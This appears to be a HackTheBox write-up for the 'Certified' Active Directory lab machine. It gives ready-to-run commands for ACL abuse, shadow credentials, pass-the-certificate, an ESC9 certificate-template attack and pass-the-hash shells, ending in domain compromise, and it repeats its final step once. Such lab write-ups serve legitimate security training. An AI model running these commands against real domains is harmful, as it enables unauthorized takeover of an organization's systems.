HackTheBox Certified writeup

Yoo Guys craches is baaaack, Just pwned Certified which is a Windows Active Directory machine focuses on abusing ACL misconfigurations and ADCS vulnerabilities. Throughout the exploitation process, we leverage multiple techniques including ACL-based attacks, ADCS attacks, shadow credentials, and pass-the-certificate. These weaknesses allow us to progressively escalate privileges and move laterally within the domain until achieving full compromise.

Enumeration

RustScan-Nmap

Let’s start the enumeration:

It’s clear that ports 88, 389, 445, and 53 are open, which proves that we are dealing with a Domain Controller (DC).

Also the we can see that the FQDN dc01.certified.htb and the domain name certified.htb

Bloodhound

Now we can use the credentials provided in the machine to start bloodhound:

bloodhound-python -u judith.mader -p 'judith09' -d certified.htb -c all -ns 10.129.17

let’s start our bloodhound

BloodHound --no-sandbox

We can start by checking the Outbound permissions. After uploading the files we obtained, we mark our user judith.mader as an owned user and begin our enumeration.

we can notice that judith.mader has WriteOwner permission over the Management group. This means that judith.mader has the ability to modify the owner of the group,which can later be abused to gain additional privileges.

1-Let’s make judith.mader owner of Management group using impacket-owneredit:

impacket-owneredit -action write -new-owner 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09' -dc-ip 10.129.231.186

By doing this, judith.mader becomes the owner of the group object, which gives us the ability to modify its ACLs.

2-Granting WriteMembers Permission

After becoming the owner, we modified the DACL of the group to grant our user the WriteMembers permission using impacket-dacledit:

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09' -dc-ip 10.129.231.186

This permission allows our user to add or remove members from the Management group.

3- Adding Our User to the Target Group

Finally, we added judith.mader to the Management group using bloodyAD:

bloodyAD --host "10.129.231.186" -d "certified.htb" -u "judith.mader" -p "judith09" add groupMember "MANAGEMENT" "judith.mader"

Now let’s see as Management group owner what can we do

Abusing GenericWrite Permission over a Service Account

It’s obvious that Management group has GenericWrite permission over the Management_svc,This is a critical finding because GenericWrite allows us to modify sensitive attributes of the target account, which can be abused for privilege escalation.

1-Performing a Shadow Credentials Attack

I decided to perform a shadow credentials attack by injecting a malicious key credential into the Management_svc account using pywhisker:

pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add" 

This attack modifies the msDS-KeyCredentialLink attribute of the target account, enabling certificate-based authentication.

2-Obtaining a Kerberos TGT via Pass-the-Certificate

With the generated certificate, we requested a Kerberos Ticket Granting Ticket (TGT) for the Management_svc account using gettgtpkinit.py:

python3 gettgtpkinit.py -cert-pfx tR7jS332.pfx -pfx-pass 'KAcWM00HwJLCAiklYcBJ' -dc-ip 10.129.172.148 certified.htb/management_svc management_svc.ccache\

This technique is known as pass-the-certificate, which allows us to authenticate as the service account without knowing its password.

Finally, we use the obtained TGT and export it to our environment in order to authenticate as the compromised service account.

Using the Kerberos Ticket to Access the Target System

USER.txt Flag

After exporting the Kerberos ticket, we configure Kerberos to use it by generating a proper krb5.conf file using nxc:

nxc smb 10.129.172.148 — generate-krb5-file krb5.conf

Next, we use the Kerberos authentication with evil-winrm to obtain a remote shell on the target machine:

evil-winrm -r certified.htb -i 10.129.172.148

Once we successfully authenticate, we gain access to the system and retrieve the user flag:

type C:\Users\management_svc\Desktop\user.txt

At this point, we have successfully leveraged the Kerberos ticket to obtain a shell and capture the user flag.

Lateral Movement

Let’s check Management_svc OUTBOUND OBJECT CONTROL using bloodhound:

We discovered that Management_svc has GenericAll permission over the ca_operator account. This is a powerful privilege that allows full control over the target account, including the ability to reset its password.

Resetting the Password of the Target Account

We exploited this permission by resetting the password of the ca_operator account using bloodyAD:

bloodyAD --host dc01.certified.htb -d certified.htb -u management_svc -k set password CA_OPERATOR 'MO@ha123'

Now we confirmed that ca_operator’s password has been successfully changed to MO@ha123

However, BloodHound did not reveal any meaningful privileges assigned to ca_operator. As a result, I moved on to enumerating vulnerable certificate templates using the ca_operator account.

Enumerating Vulnerable Certificate Templates

Using the ca_operator account, we enumerated the ADCS environment to identify vulnerable certificate templates by leveraging Certipy:

certipy-ad find -u 'CA_OPERATOR' -p MO@ha123 -dc-ip 10.129.172.148 -vulnerable -enabled

<SNIP>

    CA Name :     certified-DC01-CA

<SNIP>

Certificate Templates
    Template Name :    CertifiedAuthentication

<SNIP>

  Permissions
    Enrollment Permissions
      Enrollment Rights :   CERTIFIED.HTB\operator ca

<SNIP>

[!] Vulnerabilities
        ESC9      : 'CERTIFIED.HTB\\operator ca' can enroll
and template has no security extension

The results revealed an enabled certificate template named CertifiedAuthentication that is vulnerable to ESC9. This vulnerability exists because the template lacks security extensions, making it possible to abuse it for privilege escalation.

Exploiting the ESC9 Vulnerability

After confirming that the CertifiedAuthentication template is vulnerable to ESC9, we proceeded to exploit it to impersonate a privileged user.

1-Modifying the UPN of the ca_operator Account

First, we modified the User Principal Name (UPN) of the ca_operator
account to match the Administrator account. This is a crucial step in ESC9 exploitation, as it allows us to request a certificate that will be mapped to the Administrator account.

certipy-ad account update -user ca_operator -upn Administrator -dc-ip 10.129.231.186 -target dc01.certified.htb -k

2-Requesting a Certificate as Administrator

Next, we requested a certificate from the vulnerable template using the modified ca_operator account:

certipy-ad req -u ca_operator -p MO@ha123 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.129.231.186

Because of the ESC9 misconfiguration, the issued certificate is effectively associated with the Administrator account.

3-Authenticating as Administrator (Pass-the-Certificate)

We then authenticate to the domain using the obtained certificate:

certipy-ad auth -pfx administrator.pfx -domain certified.htb

Certipy successfully retrieves the NTLM hash of the Administrator account:

[*] Got hash for ‘[e-mail]’:<REDACTED>

4- Getting a Shell as Administrator

Finally, we use the NTLM hash to log in as Administrator and retrieve the root flag:

evil-winrm -i certified.htb -u Administrator -H <REDACTED>

After gaining access, we obtain the root flag from:

type C:\Users\Administrator\Desktop\root.txt

4- Getting a Shell as Administrator

Finally, we use the NTLM hash to log in as Administrator and retrieve the root flag:

evil-winrm -i certified.htb -u Administrator -H <REDACTED>

After gaining access, we obtain the root flag from:

type C:\Users\Administrator\Desktop\root.txt

At this point, we achieved full domain compromise.